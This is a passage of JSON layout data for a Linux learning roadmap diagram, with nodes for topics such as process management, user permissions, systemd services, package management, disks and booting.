true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 300,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 50,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 75.99419451849974,\n        \"y\": 558.2051467174066\n      }\n    },\n    {\n      \"id\": \"h01Y6dW09ChidlM2HYoav\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -295.1381872719935,\n        \"y\": 801.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Process Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3OpGaQhyNtk1n1MLp-tlb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -295.1381872719935,\n        \"y\": 801.7051467174066\n      }\n    },\n    {\n      \"id\": \"mUKoiGUTpIaUgQNF3BND_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -356.1381872719935,\n        \"y\": 902.2051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Background / Foreground Processes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0FLUI9r7znMqi6YKReLzD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 330\n      },\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -356.1381872719935,\n        \"y\": 902.2051467174066\n      }\n    },\n    {\n      \"id\": \"lf3_CRyOI2ZXGzz5ff451\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -356.1381872719935,\n        \"y\": 955.2051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Listing / Finding Processes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0FLUI9r7znMqi6YKReLzD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 330\n      },\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -356.1381872719935,\n        \"y\": 955.2051467174066\n      }\n    },\n    {\n      \"id\": \"VkLWTvKnRXzvLGWza2v45\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -356.1381872719935,\n        \"y\": 1008.2051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Process Signals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Rib7h9lh_ndiXkwNbftz_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 330\n      },\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -356.1381872719935,\n        \"y\": 1008.2051467174066\n      }\n    },\n    {\n      \"id\": \"0FLUI9r7znMqi6YKReLzD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -180.6381872719935,\n        \"y\": 1008.2051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Killing Processes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 330\n      },\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -180.6381872719935,\n        \"y\": 1008.2051467174066\n      }\n    },\n    {\n      \"id\": \"5anSYRhaKIs3dCLWlvZfT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -356.1381872719935,\n        \"y\": 1061.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Process Priorities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Rib7h9lh_ndiXkwNbftz_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 330\n      },\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -356.1381872719935,\n        \"y\": 1061.2051467174065\n      }\n    },\n    {\n      \"id\": \"Rib7h9lh_ndiXkwNbftz_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -171.1381872719935,\n        \"y\": 1061.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Process Forking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0FLUI9r7znMqi6YKReLzD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 330\n      },\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -171.1381872719935,\n        \"y\": 1061.2051467174065\n      }\n    },\n    {\n      \"id\": \"g6n7f1Qi0BPr_BGvisWuz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -682.1381872719935,\n        \"y\": 906.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"User Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3OpGaQhyNtk1n1MLp-tlb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 269,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 269\n      },\n      \"measured\": {\n        \"width\": 293,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -682.1381872719935,\n        \"y\": 906.7051467174066\n      }\n    },\n    {\n      \"id\": \"R9TZfkgVUQNLnMpDhovJa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -662.1381872719935,\n        \"y\": 968.7051467174066\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Create / Delete / Update\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"L6RMExeqi9501y-eCHDt1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 253,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 253,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 253,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -662.1381872719935,\n        \"y\": 968.7051467174066\n      }\n    },\n    {\n      \"id\": \"h8wc8XEwWYHErna68w7Mg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -662.1381872719935,\n        \"y\": 1021.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Users and Groups\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"L6RMExeqi9501y-eCHDt1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 253,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 253,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 253,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -662.1381872719935,\n        \"y\": 1021.7051467174065\n      }\n    },\n    {\n      \"id\": \"L6RMExeqi9501y-eCHDt1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -662.1381872719935,\n        \"y\": 1074.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Managing Permissions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 253,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 253,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 253,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -662.1381872719935,\n        \"y\": 1074.7051467174065\n      }\n    },\n    {\n      \"id\": \"F1sU3O1ouxTOvpidDfN3k\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -682.1381872719935,\n        \"y\": 1224.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Service Management (systemd)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3OpGaQhyNtk1n1MLp-tlb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 293,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -682.1381872719935,\n        \"y\": 1224.7051467174065\n      }\n    },\n    {\n      \"id\": \"34UUrc8Yjc_8lvTL8itc3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -263.50580548150026,\n        \"y\": 1146.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Creating New Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xk5Xgi797HlVjdZJRfwX1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262\n      },\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -263.50580548150026,\n        \"y\": 1146.7051467174065\n      }\n    },\n    {\n      \"id\": \"FStz-bftQBK0M6zz2Bxl4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -263.50580548150026,\n        \"y\": 1199.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Checking Service Logs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xk5Xgi797HlVjdZJRfwX1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262\n      },\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -263.50580548150026,\n        \"y\": 1199.7051467174065\n      }\n    },\n    {\n      \"id\": \"DuEfJNrm4Jfmp8-8Pggrf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -263.50580548150026,\n        \"y\": 1252.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Starting / Stopping Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xk5Xgi797HlVjdZJRfwX1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262\n      },\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -263.50580548150026,\n        \"y\": 1252.7051467174065\n      }\n    },\n    {\n      \"id\": \"xk5Xgi797HlVjdZJRfwX1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -263.50580548150026,\n        \"y\": 1305.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Checking Service Status\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262\n      },\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -263.50580548150026,\n        \"y\": 1305.7051467174065\n      }\n    },\n    {\n      \"id\": \"4eINX8jYMJxfYh7ZV47YI\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -646.1381872719935,\n        \"y\": 1369.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Package Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3OpGaQhyNtk1n1MLp-tlb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -646.1381872719935,\n        \"y\": 1369.7051467174065\n      }\n    },\n    {\n      \"id\": \"2oQiuQ2j02SCt9t5eV6hg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -685.1381872719935,\n        \"y\": 1459.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Package Repositories\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eKyMZn30UxQeBZQ7FxFbF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 293,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 293\n      },\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -685.1381872719935,\n        \"y\": 1459.2051467174065\n      }\n    },\n    {\n      \"id\": \"Z23eJZjmWoeXQuezR9AhG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -685.1381872719935,\n        \"y\": 1512.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Finding & Installing Packages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xEHiB-egkkcBuZmgMoqHT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 293,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 293\n      },\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -685.1381872719935,\n        \"y\": 1512.2051467174065\n      }\n    },\n    {\n      \"id\": \"48wAoAAlCNt3j5mBpKTWC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -685.1381872719935,\n        \"y\": 1565.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Listing Installed Packages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xEHiB-egkkcBuZmgMoqHT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 293,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 293\n      },\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -685.1381872719935,\n        \"y\": 1565.2051467174065\n      }\n    },\n    {\n      \"id\": \"xEHiB-egkkcBuZmgMoqHT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -685.1381872719935,\n        \"y\": 1619.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Install / Remove / Upgrade Packages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 293,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 293\n      },\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -685.1381872719935,\n        \"y\": 1619.2051467174065\n      }\n    },\n    {\n      \"id\": \"eKyMZn30UxQeBZQ7FxFbF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -450.1381872719935,\n        \"y\": 1459.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Snap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xEHiB-egkkcBuZmgMoqHT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 293,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 293\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -450.1381872719935,\n        \"y\": 1459.2051467174065\n      }\n    },\n    {\n      \"id\": \"Fn_uYKigJRgb7r_iYGVBr\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 138.99419451849974,\n        \"y\": 1369.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Disks and Filesystems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3OpGaQhyNtk1n1MLp-tlb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 138.99419451849974,\n        \"y\": 1369.7051467174065\n      }\n    },\n    {\n      \"id\": \"AwQJYL60NNbA5_z7iLcM7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 115.99419451849974,\n        \"y\": 1171.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Inodes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AWosNs2nvDGV8r6WvgBI1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252\n      },\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 115.99419451849974,\n        \"y\": 1171.7051467174065\n      }\n    },\n    {\n      \"id\": \"LFPhSHOhUqM98fUxMjQUw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 240.8618127280065,\n        \"y\": 1171.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Filesystems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"I3LNa1cM_zRkBy8wKdz3g\"\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252\n      },\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 240.8618127280065,\n        \"y\": 1171.7051467174065\n      }\n    },\n    {\n      \"id\": \"AWosNs2nvDGV8r6WvgBI1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 272.8618127280065,\n        \"y\": 1278.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Swap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"I3LNa1cM_zRkBy8wKdz3g\"\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 272.8618127280065,\n        \"y\": 1278.7051467174065\n      }\n    },\n    {\n      \"id\": \"zmb5lK_EGMAChPoPvP9E0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 115.49419451849974,\n        \"y\": 1224.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Mounts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"I3LNa1cM_zRkBy8wKdz3g\"\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252\n      },\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 115.49419451849974,\n        \"y\": 1224.7051467174065\n      }\n    },\n    {\n      \"id\": \"4xBaZPk0eSsWG1vK3e2yW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 115.49419451849974,\n        \"y\": 1278.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Adding Disks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"I3LNa1cM_zRkBy8wKdz3g\"\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252\n      },\n      \"measured\": {\n        \"width\": 152,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 115.49419451849974,\n        \"y\": 1278.7051467174065\n      }\n    },\n    {\n      \"id\": \"I3LNa1cM_zRkBy8wKdz3g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 241.99419451849974,\n        \"y\": 1224.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"LVM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252\n      },\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 241.99419451849974,\n        \"y\": 1224.7051467174065\n      }\n    },\n    {\n      \"id\": \"DQEa8LrJ9TVW4ULBE4aHJ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 138.99419451849974,\n        \"y\": 1518.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Booting Linux\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3OpGaQhyNtk1n1MLp-tlb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 138.99419451849974,\n        \"y\": 1518.2051467174065\n      }\n    },\n    {\n      \"id\": \"ru7mpLQZKE1QxAdiA1sS3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1465.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Logs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"o5lSQFW-V_PqndGqo1mp3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155\n      },\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1465.2051467174065\n      }\n    },\n    {\n      \"id\": \"o5lSQFW-V_PqndGqo1mp3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1518.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Boot Loaders\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155\n      },\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -181.57199637674694,\n        \"y\": 1518.2051467174065\n      }\n    },\n    {\n      \"id\": \"Mb42VFjCzMZn_PovKIfKx\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 138.99419451849974,\n        \"y\": 1710.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Networking\",\n        